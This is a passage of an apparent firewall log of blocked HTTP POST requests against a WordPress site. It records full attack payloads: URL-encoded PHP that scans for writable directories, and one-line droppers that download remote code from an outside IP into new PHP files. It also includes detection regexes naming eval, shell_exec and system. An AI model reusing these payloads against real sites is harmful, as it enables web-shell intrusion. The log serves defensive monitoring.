Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nVm=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 11:00:38","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3865\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 11:00:43","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> SV:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-length:3822\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nSV=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 11:01:14","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jf:%3C%3Fphp%20%20file_put_contents%28%27af_ZA.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/KnIReCEBIP%27%29%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-length:168\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\njf=%3C%3Fphp%20%20file_put_contents%28%27af_ZA.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/KnIReCEBIP%27%29%29%3B"]
["2026-05-12 11:01:18","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ut:%3C%3Fphp%20%20file_put_contents%28%27siteprefs.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/IykZxpkbYv%27%29%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-length:172\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIKDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nUt=%3C%3Fphp%20%20file_put_contents%28%27siteprefs.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/IykZxpkbYv%27%29%29%3B"]
["2026-05-12 11:01:22","69.167.165.138","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GR:%3C%3Fphp%20%20file_put_contents%28%27reading.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/DKhNzBrXHH%27%29%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-length:170\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE1VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nGR=%3C%3Fphp%20%20file_put_contents%28%27reading.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/DKhNzBrXHH%27%29%29%3B"]
["2026-05-12 11:01:28","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HB:%3C%3Fphp%20%20file_put_contents%28%27mod_wrapper.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/JbfndQZuwO%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:174\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFRVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nHB=%3C%3Fphp%20%20file_put_contents%28%27mod_wrapper.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/JbfndQZuwO%27%29%29%3B"]
